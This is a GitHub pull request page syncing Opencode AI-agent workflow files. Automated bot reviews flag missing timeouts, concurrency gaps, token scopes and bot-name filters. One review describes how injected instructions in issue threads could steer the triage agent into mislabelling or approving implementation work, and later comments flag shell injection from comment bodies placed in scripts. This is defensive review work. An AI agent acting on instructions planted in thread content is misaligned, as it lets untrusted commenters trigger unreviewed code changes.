Skip to content

🔄 synced file(s) with dianlight/opencode-actions#713

Open
dianlight wants to merge 10 commits into
masterfrom
repo-sync/opencode-actions/default
Open

🔄 synced file(s) with dianlight/opencode-actions#713
dianlight wants to merge 10 commits into
masterfrom
repo-sync/opencode-actions/default

Conversation

@dianlight

@dianlight dianlight commented Jul 6, 2026

Copy link
Copy Markdown
Owner

64b3810 🔄 created local '.github/workflows/opencode-review.yaml' from remote '.github/workflows/opencode-review.yaml'
3c18ab0 🔄 created local '.github/workflows/opencode-implement.yaml' from remote '.github/workflows/opencode-implement.yaml'
42aac1b 🔄 created local '.github/workflows/opencode-triage-issue.yaml' from remote '.github/workflows/opencode-triage-issue.yaml'
fd392bb 🔄 created local '.github/workflows/opencode-triage-pr.yaml' from remote '.github/workflows/opencode-triage-pr.yaml'
e54c46f 🔄 created local '.github/workflows/opencode-triage.yaml' from remote '.github/workflows/opencode-triage.yaml'
cd18259 🔄 created local '.github/workflows/opencode.yml' from remote '.github/workflows/opencode.yml'
2ff695b 🔄 created local '.github/scripts/auth.sh' from remote '.github/scripts/auth.sh'
d0af532 🔄 created local '.github/workflows/opencode-issue-handler.yml' from remote '.github/workflows/opencode-issue-handler.yml'
4e7cc33 🔄 created local '.github/workflows/opencode-pr-comment.yml' from remote '.github/workflows/opencode-pr-comment.yml'
b601dbc 🔄 created local '.github/workflows/opencode-pr-review.yml' from remote '.github/workflows/opencode-pr-review.yml'

@dianlight dianlight added the sync label Jul 6, 2026
@coderabbitai

coderabbitai Bot commented Jul 6, 2026

Copy link
Copy Markdown

Review Change Stack

Note

Reviews paused

It looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the reviews.auto_review.auto_pause_after_reviewed_commits setting.

Use the following commands to manage reviews:

  • @coderabbitai resume to resume automatic reviews.
  • @coderabbitai review to trigger a single review.

Use the checkboxes below for quick actions:

  • ▶️ Resume reviews
  • 🔍 Trigger review
📝 Walkthrough

Walkthrough

This PR adds shared /oc command parsing and comment-driven issue and pull request workflows for Opencode review, discussion, takeover, task execution, and implementation. Existing implementation, review, and triage workflows become manual no-op deprecation stubs.

Changes

Opencode command automation

Layer / File(s) Summary
Command parsing and workflow routing
.github/scripts/auth.sh, .github/workflows/opencode-pr-comment.yml
Parses /oc commands and routes pull request comments to reply, takeover, or task processes.
Issue command execution
.github/workflows/opencode-issue-handler.yml
Routes issue comments to read-only handling or implementation with pull request creation, reactions, permissions, and failure propagation.
Pull request comment and review flows
.github/workflows/opencode-pr-comment.yml, .github/workflows/opencode-pr-review.yml
Runs Opencode for thread responses, user takeovers, checklist tasks, and formal read-only reviews, then posts reactions and propagates failures.
Deprecated workflow replacements
.github/workflows/opencode*.yml, .github/workflows/opencode*.yaml
Replaces older implementation, review, and triage automation with manual no-op workflows that print deprecation notices and exit successfully.

Estimated code review effort: 4 (Complex) | ~60 minutes

Sequence Diagram(s)

sequenceDiagram
  participant Commenter
  participant GitHub
  participant WorkflowRouter
  participant anomalyco_opencode
  Commenter->>GitHub: create issue or pull request comment
  GitHub->>WorkflowRouter: trigger workflow
  WorkflowRouter->>anomalyco_opencode: run selected review, task, takeover, or implementation process
  anomalyco_opencode->>GitHub: submit review, create pull request, or post reaction
Loading
🚥 Pre-merge checks | ✅ 5
✅ Passed checks (5 passed)
Check name Status Explanation
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
Linked Issues check ✅ Passed Check skipped because no linked issues were found for this pull request.
Out of Scope Changes check ✅ Passed Check skipped because no linked issues were found for this pull request.
Description Check ✅ Passed Check skipped - CodeRabbit’s high-level summary is enabled.
Title check ✅ Passed The title accurately reflects that this PR syncs files from dianlight/opencode-actions.
✨ Finishing Touches
📝 Generate docstrings
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests
  • Commit unit tests in branch repo-sync/opencode-actions/default

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verdict: COMMENT · 🛠️ 2 · 💡 1

✅ 0 threads resolved (none existed).

The workflows are generally well-structured with proper security guardrails (SHA-pinned action, author association checks, bot exclusions). The most notable quality concern is the missing concurrency block in the review workflow, which could lead to conflicting reviews on rapid PR events. No critical or performance issues found.

on:
pull_request:
types: [opened, synchronize, reopened, ready_for_review]

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing concurrency block

Unlike opencode-implement.yaml and opencode-triage.yaml, this workflow has no concurrency guard. If multiple PR events fire in quick succession (e.g., opened + synchronize), concurrent review runs could race, producing conflicting review comments or duplicate outputs.

Suggested change
on:
pull_request:
types: [opened, synchronize, reopened, ready_for_review]
concurrency:
group: opencode-review-${{ github.event.pull_request.number }}
cancel-in-progress: false
jobs:

Comment thread .github/workflows/opencode-triage.yaml Outdated
if: |
(
github.event_name != 'pull_request_review' &&
github.event.comment.user.login != 'github-actions[bot]' &&

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Hardcoded bot usernames

Lines 20-22 and 36-38 hardcode a fixed list of bot usernames (github-actions[bot], opencode-agent[bot], coderabbitai[bot]). This is brittle — adding or renaming a collaborator bot requires a workflow edit. The author_association check (OWNER, MEMBER, COLLABORATOR) already restricts who can trigger the workflow, so the bot check is a secondary safety net.

Consider checking github.event.comment.user.type == 'Bot' combined with .author_association instead, or keep the explicit list but document it as a maintenance burden. Since the current approach works correctly and the bot list is a deliberate allowlist, this is a softer quality concern.


jobs:
implement:
if: >-

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex workflow condition

The if condition (lines 15-20) spans 6 lines with deeply nested parentheses and mixes property accesses from both issue and pull_request contexts. While the expression handles null safely in GitHub Actions, it is hard to reason about correctness at a glance.

Consider extracting the label-check and state-check logic into separate conditions or restructuring with intermediate github.event_name checks for clarity:

Suggested change
if: >-
if: >-
github.event.label.name == 'opencode:approved-for-implementation' &&
github.event.sender.login == 'opencode-agent[bot]' &&
(
(
github.event_name == 'issues' &&
!contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') &&
github.event.issue.state == 'open'
) || (
github.event_name == 'pull_request' &&
!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
github.event.pull_request.state == 'open'
)
)

@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown

Review submitted. Verdict: COMMENT · 🛠️ 2 · 💡 1

Findings:

  1. 🛠️ opencode-review.yaml — Missing concurrency block; concurrent review runs could conflict.
  2. 🛠️ opencode-triage.yaml — Hardcoded bot usernames instead of checking user.type == 'Bot'.
  3. 💡 opencode-implement.yaml — Complex multi-line if condition could be restructured with event-type branching for readability.

No critical or performance issues found. The workflows are well-structured with proper security practices (SHA-pinned action, author association checks, bot exclusions).

New%20session%20-%202026-07-06T12%3A13%3A50.231Z
opencode session  |  github run

@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch from 58219c1 to 7d5bc9e Compare July 6, 2026 12:20

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verdict: COMMENT · 🛠️ 4 · 💡 1

No threads resolved (issues from the prior review remain unaddressed in this sync diff). The most notable concern is the missing concurrency in the review workflow, inconsistent with both sibling workflows. Two jobs also lack timeout-minutes, risking runaway CI runs. No critical or performance issues.

on:
pull_request:
types: [opened, synchronize, reopened, ready_for_review]

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing concurrency block

Unlike opencode-implement.yaml and opencode-triage.yaml, this workflow has no concurrency guard. If multiple PR events fire in quick succession (e.g., opened + synchronize), concurrent review runs could race, producing conflicting review comments or duplicate outputs. This was also flagged in the previous review.

Suggested change
on:
pull_request:
types: [opened, synchronize, reopened, ready_for_review]
concurrency:
group: opencode-review-${{ github.event.pull_request.number }}
cancel-in-progress: false
jobs:

jobs:
review:
if: contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.pull_request.author_association)
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing job timeout-minutes

The review job has no timeout-minutes set, defaulting to GitHub's 360-minute maximum. A stalled AI action could waste CI minutes. Add a 30-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 30
permissions:

Comment thread .github/workflows/opencode-triage.yaml Outdated
if: |
(
github.event_name != 'pull_request_review' &&
github.event.comment.user.login != 'github-actions[bot]' &&

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Hardcoded bot usernames

Lines 20-22 (and 36-38) hardcode specific bot logins (github-actions[bot], opencode-agent[bot], coderabbitai[bot]) as a filter. This is brittle — adding or renaming a collaborator bot requires a workflow edit. The author_association check (OWNER, MEMBER, COLLABORATOR) already restricts who can trigger the workflow, making this an additional maintenance burden. Consider github.event.comment.user.type == 'Bot' instead. Also flagged in the previous review.


jobs:
implement:
if: >-

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex workflow condition

The if condition (lines 15-20) mixes issue and pull_request property accesses in deeply nested null-safe expressions. While functionally sound (null contexts evaluate as empty in GitHub Actions), the logic is hard to verify at a glance. Restructure with event-type branching for clarity.

Suggested change
if: >-
if: >-
github.event.label.name == 'opencode:approved-for-implementation' &&
(github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') &&
(
(
github.event_name == 'issues' &&
!contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') &&
github.event.issue.state == 'open'
) || (
github.event_name == 'pull_request' &&
!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
github.event.pull_request.state == 'open'
)
)

!contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') &&
!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
(github.event.issue.state == 'open' || github.event.pull_request.state == 'open')
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing job timeout-minutes

The implement job has no timeout-minutes set, defaulting to 360 minutes. An AI-driven implementation task could stall and block the runner indefinitely. Add a 60-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 60
permissions:

@github-actions

github-actions Bot commented Jul 6, 2026

Copy link
Copy Markdown

Review submitted as COMMENT with 5 findings across the 3 new workflow files:

File Finding
opencode-review.yaml:6 🛠️ Missing concurrency block (inconsistent with siblings)
opencode-review.yaml:10 🛠️ Missing timeout-minutes (defaults to 360 min)
opencode-triage.yaml:20 🛠️ Hardcoded bot usernames instead of user.type == 'Bot'
opencode-implement.yaml:15 💡 Complex if condition — restructure with event-type branching
opencode-implement.yaml:21 🛠️ Missing timeout-minutes (defaults to 360 min)

No threads were resolved — all 3 issues from the prior review (same categories) remain unaddressed in this sync diff. No critical or performance issues detected.

New%20session%20-%202026-07-06T12%3A21%3A20.088Z
opencode session  |  github run

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

🧹 Nitpick comments (4)
.github/workflows/opencode-review.yaml (1)

3-16: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

No concurrency control across rapid synchronize pushes.

Multiple pushes to a PR in quick succession will spawn overlapping runs, each independently querying/resolving review threads and posting a new formal review — risking duplicate or conflicting reviews and wasted API/model usage. Consider adding a concurrency group keyed on the PR to cancel in-flight runs when a newer commit lands.

concurrency:
  group: opencode-review-${{ github.event.pull_request.number }}
  cancel-in-progress: true
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-review.yaml around lines 3 - 16, The review
workflow does not currently prevent overlapping runs when a PR gets multiple
rapid synchronize events, so add a top-level concurrency block to the
opencode-review workflow keyed by the pull request number and set
cancel-in-progress to true. Place it alongside the existing on/jobs
configuration in opencode-review.yaml so newer runs cancel any in-flight review
job before review thread resolution or posting starts.
.github/workflows/opencode-implement.yaml (1)

21-26: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Add timeout-minutes to bound the implementation run.

The implement job writes code/opens PRs and can run long; cap it rather than relying on the 6‑hour default.

♻️ Suggested change
     runs-on: ubuntu-latest
+    timeout-minutes: 30
     permissions:
       id-token: write
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-implement.yaml around lines 21 - 26, The
implement job in the workflow is unbounded and can run for the default six
hours, so add a timeout to the job definition. Update the job configuration in
the opencode-implement workflow near the runs-on/permissions block to include
timeout-minutes with an appropriate limit for the implementation run, keeping
the existing job behavior otherwise unchanged.
.github/workflows/opencode-triage.yaml (2)

49-54: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Add timeout-minutes to bound the agent run.

An LLM agent step can hang or loop; without a job timeout it inherits the 6‑hour default and burns runner minutes. Consider a conservative cap.

♻️ Suggested change
     runs-on: ubuntu-latest
+    timeout-minutes: 15
     permissions:
       contents: read
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-triage.yaml around lines 49 - 54, The workflow
job currently has no explicit runtime cap, so the agent step can run for the
default 6 hours if it hangs or loops. Add a conservative timeout to the job that
uses runs-on ubuntu-latest and the permissions block in opencode-triage.yaml, so
the triage run is bounded even if the agent misbehaves.

70-149: 🔒 Security & Privacy | 🔵 Trivial | ⚡ Quick win

Consider adding an untrusted-input handling guard to this prompt.

The implement prompt has an explicit "Security: untrusted input handling" section (opencode-implement.yaml Lines 55-67), but the triage prompt has none — despite reading arbitrary issue/PR/comment content and holding issues: write + pull-requests: write plus label-management authority (including opencode:approved-for-implementation). Injected instructions in a thread could steer the agent to mislabel or post an approval. Recommend mirroring the implement workflow's guidance that thread content is data, not instructions, and never echoing secrets.

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/opencode-review.yaml:
- Around line 11-15: The workflow permissions for the review-only job are too
broad because opencode-review only checks out code and posts reviews/comments
via gh api, so remove the unnecessary contents: write grant and keep the
permissions limited to what the job actually needs. Update the permissions block
in the opencode-review workflow so the review step still has access for OIDC and
PR feedback, but no longer allows repository content writes.
- Around line 3-9: The workflow trigger currently lets the review job run on
pull_request opened even for draft PRs, which can cause an early formal review.
Update the pull_request trigger logic in opencode-review.yaml so the review job
only starts on opened when the PR is not a draft, while still allowing
synchronize, reopened, and ready_for_review to run normally; use the existing
review job condition and GitHub PR draft state to scope the opened event
appropriately.
- Around line 25-27: The OpenCode workflow currently sets share: true, which can
expose private conversation history publicly. Update the opencode-review
workflow so sharing is disabled by default in the reviewed configuration, or
make the share setting conditional in this job based on repository visibility
using the existing model/share/use_github_token block as the anchor for the
change.

In @.github/workflows/opencode-triage.yaml:
- Around line 61-69: The approval label is being added with GITHUB_TOKEN via the
opencode/github action, which prevents the downstream labeled workflow from
triggering. Update the Run opencode step to use an App/PAT token instead of
use_github_token: true, so the opencode:approved-for-implementation label is
written by a token that can fire the labeled event; keep the existing sender
compatibility in opencode-implement.yaml and adjust the action configuration
accordingly.

---

Nitpick comments:
In @.github/workflows/opencode-implement.yaml:
- Around line 21-26: The implement job in the workflow is unbounded and can run
for the default six hours, so add a timeout to the job definition. Update the
job configuration in the opencode-implement workflow near the
runs-on/permissions block to include timeout-minutes with an appropriate limit
for the implementation run, keeping the existing job behavior otherwise
unchanged.

In @.github/workflows/opencode-review.yaml:
- Around line 3-16: The review workflow does not currently prevent overlapping
runs when a PR gets multiple rapid synchronize events, so add a top-level
concurrency block to the opencode-review workflow keyed by the pull request
number and set cancel-in-progress to true. Place it alongside the existing
on/jobs configuration in opencode-review.yaml so newer runs cancel any in-flight
review job before review thread resolution or posting starts.

In @.github/workflows/opencode-triage.yaml:
- Around line 49-54: The workflow job currently has no explicit runtime cap, so
the agent step can run for the default 6 hours if it hangs or loops. Add a
conservative timeout to the job that uses runs-on ubuntu-latest and the
permissions block in opencode-triage.yaml, so the triage run is bounded even if
the agent misbehaves.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro

Run ID: 9278a7ac-b907-47cd-8f25-b799335c967b

📥 Commits

Reviewing files that changed from the base of the PR and between 7b3f41c and 58219c1.

📒 Files selected for processing (3)
  • .github/workflows/opencode-implement.yaml
  • .github/workflows/opencode-review.yaml
  • .github/workflows/opencode-triage.yaml

Comment thread .github/workflows/opencode-review.yaml Outdated
Comment thread .github/workflows/opencode-review.yaml Outdated
Comment thread .github/workflows/opencode-review.yaml Outdated
Comment thread .github/workflows/opencode-triage.yaml Outdated
Comment on lines +61 to +69
- name: Run opencode (analysis & proposal only)
uses: anomalyco/opencode/github@77fc88c8ade8e5a620ebbe1197f3a572d29ae91a # latest
env:
OPENCODE_API_KEY: ${{ secrets.OPENCODE_API_KEY }}
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
OPENCODE_TRIGGER_BODY: ${{ github.event.review.body || github.event.comment.body || github.event.issue.body }}
with:
model: opencode/deepseek-v4-flash-free
use_github_token: true

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🌐 Web query:

Does the anomalyco/opencode github action post using the opencode-agent GitHub App token when use_github_token is false, and github-actions bot when use_github_token is true?

💡 Result:

Yes, the anomalyco/opencode GitHub Action behaves differently regarding authentication and the identity of the actor based on the use_github_token setting [1][2]. When use_github_token is false (default), the action performs an OIDC token exchange with the OpenCode API to retrieve an installation access token for the opencode-agent GitHub App [1][3][2]. Consequently, operations such as comments, commits, and pull requests are performed using the identity of the opencode-agent GitHub App [3]. When use_github_token is true, the action bypasses the OIDC token exchange and uses the provided GITHUB_TOKEN environment variable directly [4][1][2]. In this configuration, the operations are performed using the identity associated with the GITHUB_TOKEN provided to the workflow, which is typically the github-actions bot (or the user/principal assigned the token) [3][2].

Citations:


🏁 Script executed:

sed -n '1,220p' .github/workflows/opencode-triage.yaml && printf '\n---\n' && sed -n '1,220p' .github/workflows/opencode-implement.yaml && printf '\n---\n' && rg -n "opencode-agent|sender.login|labeled|approved-for-implementation|use_github_token|GITHUB_TOKEN" .github/workflows .github -S

Repository: dianlight/hassio-addons

Length of output: 19022


🌐 Web query:

GitHub Actions GITHUB_TOKEN does not trigger downstream workflows for labeled events docs

💡 Result:

By design, the GITHUB_TOKEN provided to GitHub Actions workflows does not trigger new workflow runs when it performs actions that would otherwise trigger an event [1][2]. This security feature is intended to prevent recursive workflow loops [2]. As documented in official GitHub Actions resources, when a workflow uses the GITHUB_TOKEN to modify a repository—such as adding a label via the API—any downstream workflows configured to trigger on that "labeled" event will not execute [2][3]. This behavior applies to most event types [1][2]. There are only limited exceptions to this rule, such as specific pull_request activity types (opened, synchronize, or reopened), which may create workflow runs in an approval-required state [4][2]. To work around this limitation and trigger downstream workflows, you must use a different authentication method, such as a Personal Access Token (PAT) or a GitHub App installation access token [3]. Using these alternatives instead of the GITHUB_TOKEN allows the events performed by your workflow to successfully trigger subsequent workflows [3].

Citations:


Use an App/PAT token for the approval label

use_github_token: true means the opencode:approved-for-implementation label is added with GITHUB_TOKEN, and GitHub won’t start the downstream labeled workflow from that event. opencode-implement.yaml already accepts github-actions[bot], so the sender check isn’t the blocker here. Switch this label write to the OpenCode App token (drop use_github_token: true) or another PAT/App token.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/opencode-triage.yaml around lines 61 - 69, The approval
label is being added with GITHUB_TOKEN via the opencode/github action, which
prevents the downstream labeled workflow from triggering. Update the Run
opencode step to use an App/PAT token instead of use_github_token: true, so the
opencode:approved-for-implementation label is written by a token that can fire
the labeled event; keep the existing sender compatibility in
opencode-implement.yaml and adjust the action configuration accordingly.

@dianlight dianlight force-pushed the repo-sync/opencode-actions/default branch from 7d5bc9e to 5687075 Compare July 7, 2026 07:33

@github-actions github-actions Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verdict: COMMENT · 🛠️ 5 · 💡 2

⚠️ Unable to resolve threads (FORBIDDEN — token lacks GraphQL mutation scope). The following 8 threads appear fixed in this diff but could not be automatically resolved: concurrency block, draft guard, permissions over-provisioning, share visibility, triage deprecation (×2), and the triage.yaml-specific bot/hardcoded token issues (now superseded by the deprecated no-op).

3 open threads remain valid (complex if condition in opencode-implement.yaml, missing timeout-minutes in review and implement jobs). New findings: hardcoded bot usernames migrated to dedicated triage files, additional missing timeout-minutes on both new triage jobs, and a fragile JSON body decoding step. No critical or performance issues.

!github.event.pull_request.draft &&
github.event.pull_request.changed_files < 50 &&
github.event.pull_request.additions < 3000
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing job timeout-minutes

The review job defaults to GitHub's 360-minute maximum. A stalled AI action could waste CI minutes. Add a 30-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 30

!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
(github.event.issue.state == 'open' || github.event.pull_request.state == 'open')
)
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing job timeout-minutes

The implement job defaults to 360 minutes. An AI-driven implementation task could stall and block the runner. Add a 60-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 60


jobs:
implement:
if: >-

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex workflow condition

The if condition (lines 25-34) mixes issue and pull_request property accesses in deeply nested null-safe expressions. While functionally sound (null contexts evaluate as empty in GitHub Actions), the logic is hard to verify at a glance. Consider restructuring with explicit github.event_name branching:

Suggested change
if: >-
if: >-
github.event.label.name == 'opencode:approved-for-implementation' &&
(github.event.sender.login == 'opencode-agent[bot]' || github.event.sender.login == 'github-actions[bot]' || github.event.sender.login == 'dianlight') &&
(
(
github.event_name == 'issues' &&
!contains(github.event.issue.labels.*.name, 'opencode:awaiting-response') &&
github.event.issue.state == 'open'
) || (
github.event_name == 'pull_request' &&
!contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response') &&
github.event.pull_request.state == 'open'
)
)

jobs:
triage:
if: |
github.event.comment.user.login != 'github-actions[bot]' &&

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Hardcoded bot usernames

Lines 14-16 hardcode specific bot logins (github-actions[bot], opencode-agent[bot], coderabbitai[bot]). This is brittle — adding or renaming a collaborator bot requires a workflow edit. The author_association check (OWNER, MEMBER, COLLABORATOR) already restricts to trusted contributors, making this a redundant maintenance burden. Consider using user.type == 'Bot':

Suggested change
github.event.comment.user.login != 'github-actions[bot]' &&
github.event.comment.user.type != 'Bot' &&
github.event.comment.user.type != 'Bot' &&
github.event.comment.user.type != 'Bot' &&
contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) &&

github.event.comment.body.length > 10
) ||
contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing job timeout-minutes

The triage job defaults to 360 minutes. An LLM agent could hang or loop. Add a 15-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 15

env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Fragile body decoding

The body decoding pipeline (line 47) uses echo '${{ toJSON(...) }}' | python3 -c ... || body='' to parse JSON, then pipes to grep. If toJSON output contains special shell characters or the Python decode fails silently, the approval check produces false negatives. Consider using GitHub Actions' fromJSON directly in the if: condition instead of shell-based parsing:

Suggested change
body=$(echo '${{ toJSON(github.event.comment.body) }}' | python3 -c "import sys,json; print(json.load(sys.stdin))" 2>/dev/null) || body=''
if: >-
startsWith(github.event.comment.body, 'approved') ||
startsWith(github.event.comment.body, 'lgtm') ||
startsWith(github.event.comment.body, 'go ahead') ||
startsWith(github.event.comment.body, ':thumbsup:')

if: |
(
github.event_name == 'pull_request_review_comment' &&
github.event.comment.user.login != 'github-actions[bot]' &&

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Hardcoded bot usernames

Lines 18-20 (and 36-38 in the pull_request_review branch) hardcode specific bot logins. Same concern as opencode-triage-issue.yaml. Prefer user.type == 'Bot':

Suggested change
github.event.comment.user.login != 'github-actions[bot]' &&
github.event.comment.user.type != 'Bot' &&
github.event.comment.user.type != 'Bot' &&
github.event.comment.user.type != 'Bot' &&
contains(fromJSON('["OWNER", "MEMBER", "COLLABORATOR"]'), github.event.comment.author_association) &&

) ||
contains(github.event.pull_request.labels.*.name, 'opencode:awaiting-response')
)
runs-on: ubuntu-latest

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🛠️ [QUALITY] Missing job timeout-minutes

The triage job defaults to 360 minutes. Add a 15-minute timeout.

Suggested change
runs-on: ubuntu-latest
runs-on: ubuntu-latest
timeout-minutes: 15


jobs:
triage:
if: |

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

💡 [NITPICK] Complex workflow condition

The if condition (lines 15-51) spans 37 lines with deeply nested || / && groups. The pull_request_review_comment and pull_request_review branches share near-identical sub-expressions (bot checks, author association, trigger text), making it hard to reason about edge cases or modify safely. Consider extracting the repeated bot/author/trigger sub-expression into a YAML anchor or a composite action.

@github-actions

github-actions Bot commented Jul 7, 2026

Copy link
Copy Markdown

Review submitted as COMMENT with 9 inline findings across 3 files:

File Finding
opencode-review.yaml:18 🛠️ Missing timeout-minutes
opencode-implement.yaml:35 🛠️ Missing timeout-minutes
opencode-implement.yaml:25 💡 Complex if condition
opencode-triage-issue.yaml:14 🛠️ Hardcoded bot usernames
opencode-triage-issue.yaml:29 🛠️ Missing timeout-minutes
opencode-triage-issue.yaml:47 🛠️ Fragile body decoding
opencode-triage-pr.yaml:15 💡 Complex 37-line condition
opencode-triage-pr.yaml:18 🛠️ Hardcoded bot usernames
opencode-triage-pr.yaml:52 🛠️ Missing timeout-minutes

Could not resolve 8 threads — token lacks GraphQL mutation scope (FORBIDDEN). Note that the thread-listed issues about concurrency, draft guard, permissions, share visibility, and triage.yaml-specific concerns all appear resolved in the current diff.

New%20session%20-%202026-07-07T07%3A33%3A44.620Z
opencode session  |  github run

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 4

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/opencode-triage-issue.yaml:
- Around line 44-47: The inline shell in the workflow is vulnerable because
github.event.comment.body is being template-expanded directly into the script in
the step that sets body. Move the comment body into an environment variable for
that step and read it from the script instead of embedding it inside single
quotes; update the run block that uses python3 so it parses the env value safely
and avoids shell interpolation.
- Around line 13-28: The workflow condition currently lets the label-based path
bypass the existing actor and open-issue guards, so any comment on a labeled
issue can trigger the job. Update the `if` expression in `opencode-triage-issue`
so `contains(github.event.issue.labels.*.name, 'opencode:awaiting-response')` is
grouped inside the same top-level `&&` guard block as the `/oc` and `/opencode`
checks, ensuring the bot/user and open-state restrictions always apply.

In @.github/workflows/opencode-triage-pr.yaml:
- Around line 67-78: The inline script in the triage workflow is still using
untrusted review/comment text directly in shell command substitution, which
allows quote-breaking injection. Update the step that computes `body` in the
workflow to pass `github.event.review.body` and `github.event.comment.body`
through environment variables instead of embedding `toJSON(...)` inside the
script. Keep the logic in the same run block, but read the safe env values there
and preserve the existing approval detection in the workflow step.
- Around line 15-51: The label check for opencode:awaiting-response is currently
outside the actor, association, and open-PR guards in both event branches, which
lets the workflow run even when the rest of the conditions fail. Update the if
expression in opencode-triage-pr so the label alternative is grouped inside the
